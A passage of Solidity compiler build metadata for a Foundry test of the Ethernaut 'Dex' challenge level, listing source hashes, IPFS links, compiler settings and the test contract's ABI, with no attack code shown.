m\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Dex.sol\":{\"keccak256\":\"0x165404494864adbe32c9a11790fb3ed27c4377cadc9094783ca2850191ca90b9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5fb11639949ca42fbf5013de302480c56fed463d375635f28a34650f4b721350\",\"dweb:/ipfs/QmdUHtCRqdSWYLpEDGvS8KW4WC7Di59eS3Zt6Y66HKdB1a\"]},\"src/levels/DexFactory.sol\":{\"keccak256\":\"0x8d56f9a9b08cc0f033bc7f98934ca4180d8de705b6017af520dd516d058bf525\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1ed9f54897d7de9ccb4cff464a0bf26795267a7ed0b1bbcf37d0c9d36a9106f4\",\"dweb:/ipfs/QmVXD4kmhXY9oaahAcAbRa5SVUnftYVZhPUy7MK8vexsUr\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Dex.t.sol\":{\"keccak256\":\"0x79886aaf5132642c72f481b5c4726066d83174fa71e0359ce3addc1aa7d7b866\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://cbc808be9575ca307acf8ec2fab67dfcb93dad8f9c7c40fa040c1a6c407da70c\",\"dweb:/ipfs/QmZZeQLmH1wACrcAUJR86sPDxi4chgy56agvgLjTF8GoGS\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Dex.t.sol":"TestDex"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"kecca